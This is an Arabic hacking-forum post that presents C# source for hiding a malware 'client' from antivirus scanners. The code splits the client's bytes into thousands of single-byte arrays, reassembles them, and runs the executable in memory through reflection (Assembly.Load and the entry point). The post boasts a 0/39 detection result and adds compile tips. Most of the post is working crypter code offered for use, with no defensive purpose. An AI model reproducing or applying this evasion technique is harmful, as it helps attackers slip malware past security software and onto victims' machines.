17.01.2018 Crash Antiviruses Split Byte Array [0/39 ضياع كامل وطويل للحمايات]


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
1,533
2,886
1
حياكم الله ياشباب
نزلت موضوعي هنا من شوي
Crash Antiviruses Split Base64 Values [0/39 ضياع كامل وطويل للحمايات]
وبيحكي عن عمل متغيرلكل محرف من المحارف في قيم البيس64
الان رح نجزئ الكلاينت البايت اراي الى بايت بايت وكل بايت رح نحفظه في بايت اراي خاصة به
ومن ثم رح نجمعهم ,, بتفهم بالفديو
النتيجة كلين من الكل 0/39
Results | Metadefender.com
هنا اللي رح يلزمك
C#:
static string Pbb4(byte[] bytes)
       {
           var sb = new StringBuilder();
           var i = 0;
           foreach (var b in bytes)
           {
               i++;
               sb.Append($"b{i},");
           }
           sb.Append("");
           return sb.ToString();
       }
       static string Pbb3(byte[] bytes)
       {
           var sb = new StringBuilder();
           var i = 0;
           foreach (var b in bytes)
           {
               i++;
               sb.Append($"byte[] b{i} = "+"{"+$"{b}"+"};");
           }
           sb.Append("");
           return sb.ToString();
       }
وهنا السورس النهائي
C#:
static void Main(string[] args)
       {
           byte[] b1 = {77};byte[] b2 = {90};byte[] b3 = {144};byte[] b4 = {0};byte[] b5 = {3};byte[] b6 = {0};byte[] b7 = {0};byte[] b8 = {0};byte[] b9 = {4};byte[] b10 = {0};byte[] b11 = {0};byte[] b12 = {0};byte[] b13 = {255};byte[] b14 = {255};byte[] b15 = {0};byte[] b16 = {0};byte[] b17 = {184};byte[] b18 = {0};byte[] b19 = {0};byte[] b20 = {0};byte[] b21 = {0};byte[] b22 = {0};byte[] b23 = {0};byte[] b24 = {0};byte[] b25 = {64};byte[] b26 = {0};byte[] b27 = {0};byte[] b28 = {0};byte[] b29 = {0};byte[] b30 = {0};byte[] b31 = {0};byte[] b32 = {0};byte[] b33 = {0};byte[] b34 = {0};byte[] b35 = {0};byte[] b36 = {0};byte[] b37 = {0};byte[] b38 = {0};
   
           Interaction.CallByName(Interaction.CallByName(Type.GetType("System.Reflection.Assembly")?.GetMethod("Load", new[] { typeof(byte[]) })
       ?.Invoke(null, new object[] { Combine(b1,b2,b3,b4,b5,b6,b7,b8,b9,b10,b11,b12,b13,b14,b15,b16,b17,b18) })
      ?? throw new InvalidOperationException(), "EntryPoint", CallType.Get),
    "Invoke", CallType.Method, 100000 - 10000000, null);
       }
       public static byte[] Combine(params byte[][] arrays)
       {
           byte[] ret = new byte[arrays.Sum(x => x.Length)];
           int offset = 0;
           foreach (byte[] data in arrays)
           {
               Buffer.BlockCopy(data, 0, ret, offset, data.Length);
               offset += data.Length;
           }
           return ret;
       }
   }
ملاحظة بالموضوعين اعمل كمبايل بوضع Release مش Debug
حتى تتجاوز مشكلة عدم المقدرة على عمل كمبايل بسبب عدد المتغيرات الكبير بالسورس
مثلا هنا بموضوعنا مشكلة وجود 16896 مصفوفة بايت اراي بالسورس الخاص بك ههه
لمشاهدة الفديو بالمرفقات​
 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك